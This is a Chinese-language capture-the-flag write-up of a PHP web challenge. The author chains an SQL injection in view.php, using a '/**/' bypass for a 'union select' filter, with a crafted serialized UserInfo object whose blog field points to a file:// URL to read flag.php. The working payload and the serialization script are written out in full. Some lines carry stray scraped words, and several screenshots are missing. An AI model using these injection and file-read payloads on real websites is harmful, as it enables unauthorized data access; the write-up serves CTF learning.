進入頁面以下,咱們發現有兩個按鈕,login和joinphp
通常第一步咱們應該是先對網站進行掃描,看看有沒有掃描目錄和文件,可是我在掃描的時候發現返回的狀態碼全是200,顯然是作了手腳,可是這裏咱們還能夠經過返回的頁面長度來判斷,由於不存在的頁面都重定向到一個頁面,發現存在robots.txt和flag.php,查看flag.php什麼也看不到,那麼查看robots.txt,結果以下html
提示咱們有備份文件,咱們下載下來,代碼以下:sql
<?php class UserInfo { public $name = ""; public $age = 0; public $blog = ""; public function __construct($name, $age, $blog) { $this->name = $name; $this->age = (int)$age; $this->blog = $blog; } function get($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $output = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); if($httpCode == 404) { return 404; } curl_close($ch); return $output; } public function getBlogContents () { return $this->get($this->blog); } public function isValidBlog () { $blog = $this->blog; return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog); } }
這段代碼我第一眼看到的就是__construct(),爲何呢?由於作過比較多了序列化和反序列化的題目,因此看到這個就跟敏感,就有中要用到序列化或者反序列的預感,事實驗證了個人猜想,getBlogContents()其中這個調用了blog這個變量,那看來一會必定要用到這個函數,因此要想法調用這個函數才行,到此,咱們先把這段代碼給放一放數據庫
思路到這裏彷佛停滯不前了,好像忽然斷了,那咱們想一想還有什麼沒有用到的地方,想到這裏想起來,咱們還有一個按鈕沒點呢,就是join,咱們點擊看一看curl
隨便輸入一下函數
而後回顯到頁面結果以下,看到回顯的第一瞬間其實我是想到sql注入,可是這裏嘗試沒有注入,與此同時看到回顯結果的時候有一個地方引發了個人注意,就是username,其餘的都是黑色的,只有這個是藍色的,是有鏈接的,因此點擊1網站
而後咱們來到了這裏this
看到這裏我就更加判定這裏確定有注入,因此單引號嘗試一下,果真有注入,那麼接下來注入開始url
經過以上結果,咱們知道字段數爲43d
結果以下
那看來是過濾了,經過驗證不是過濾的select,也不是union,而是過濾的union select這個總體,因此咱們能夠把中間的空格改變一下就能夠繞過,這裏能夠用/**/代替空格
結果以下
獲得表名users
O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:11:"www.123.com";}
獲得了一段序列化代碼,巧了,和以前代碼分析的一段連上了
到目前爲止,咱們先思考一下,首先咱們發現了一段代碼,這段代碼提示咱們可能須要序列化,其次咱們在後續的注入過程當中發現的數據是序列化的,這二者聯繫起來告訴咱們什麼?告訴咱們,咱們須要在data數據上進行操做,什麼操做?讀取文件!但是該如何讀取文件呢?這裏很天然聯想到了file協議,使用file協議來進行文件讀取
序列化代碼:
<?php class UserInfo { public $name = "1"; public $age = 1; public $blog = "file:///var/www/html/flag.php"; } $a=new UserInfo(); echo serialize($a); ?>
payload:
view.php?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'--+
查看頁面源代碼:
很明顯的提示,base64解密一下,結果以下:
拿到flag
CTF中常考序列化和反序列化,對於序列化中常見的一些函數必定要敏感,像這個題,我在看到備份文件代碼的那一刻,就知道必定會用到序列化或者反序列化,再加上最後注入獲得的data數據形式,無不在驗證個人想法。